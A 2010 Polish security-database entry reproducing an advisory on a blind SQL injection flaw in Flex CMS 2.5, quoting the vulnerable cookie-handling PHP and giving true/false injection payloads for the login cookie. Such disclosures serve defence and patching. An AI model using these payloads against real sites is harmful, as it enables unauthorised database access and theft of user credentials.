Bezpieczeństwo informacji

, Wiadomości IT, Audyt bezpieczeństwa
Rejestracja | Zapomniałem hasła | Zaloguj się
Polski Polski  Angielski Angielski
Szukaj :
SecurityReason
WLB
Audyt
RSS
Zespół
Informacja

Jeśli znalazłeś interesujący błąd i chcesz go nam wysłać, użyj adresu:
secalert(.)securityreason(.)pl

Twój exploit może być opublikowany w dziale ExploitAlert. Wyślij go nam na adres:
exploit(.)securityreason(.)pl

Strona główna arrow Baza WLB          

  Tytuł : Flex CMS <= 2.5 (index.php)Blind SQL Injection Vulnerability
  WLB : WLB-2010030090  (Szczegóły)
  Data publikacji : 2010-03-20
  Autor          : Inj3ct0r
  Dodane przez     : SecurityReason
  Poziom ryzyka : Średni  Poziom Średni  (Szczegóły)
  Zdalny błąd : Tak
  Lokalny błąd : Nie
  Status   : Bład

  Historia :
[2010-03-20] Publikacja

  Podatne oprogramowanie :  

Flex CMS <= 2.5


  Tekst :  

============================================================
Flex CMS <= 2.5 (index.php)Blind SQL Injection Vulnerability
============================================================
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 0
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1

#[+] Discovered By : Inj3ct0r
#[+] Site : Inj3ct0r.com
#[+] Support e-mail : submit[at]inj3ct0r.com


Site product: www.flexcms.com
Version: 2.5
Requirements: magic_quotes_gpc = off

Vulnerability file (index.php) :


$CookieData = $HTTP_COOKIE_VARS[$CookieName];

$LoggedIn = 'n';
$UserLevel = 0;

if ($CookieData != '' && $CookieData != 'not_logged_in') {
list ($CookieUsername, $CookiePassword) = split('==', $CookieData, 2);

if ($CookieUsername != '' && $CookiePassword != '') {
$query = "select RecordNumber,Level,Password,DisplayName,SessionLen
gth from `".$Settings['DBPrefix']."core-Users` where
Username='$CookieUsername' LIMIT 1";
$result = mysql_query($query) or die (mysql_error());


In the cookies sent login and pass, in such a
login == hash_pass
Because the variable $ CookieUsername not filtered and if magic_quotes_gpc
= off is the opportunity to inj3ct0r


Example:


True: FCLoginData12345=qwerty'+and+1=1/*%3D%3DqwDyM1dbqwDyM1db9iOPI
False: FCLoginData12345=qwerty'+and+1=2/*%3D%3DqwDyM1dbqwDyM1db9iOPI


---------------------------------


# Inj3ct0r.com


Jeżeli chcesz zmienić powyższą note, prosze użyj UCP


Apache rss
PHP rss
Patronat

Szkolenia ISecMan

ISecMan

Szkolenia Multitrain

Multitrain

Copyright © SecurityReason. All Rights Reserved.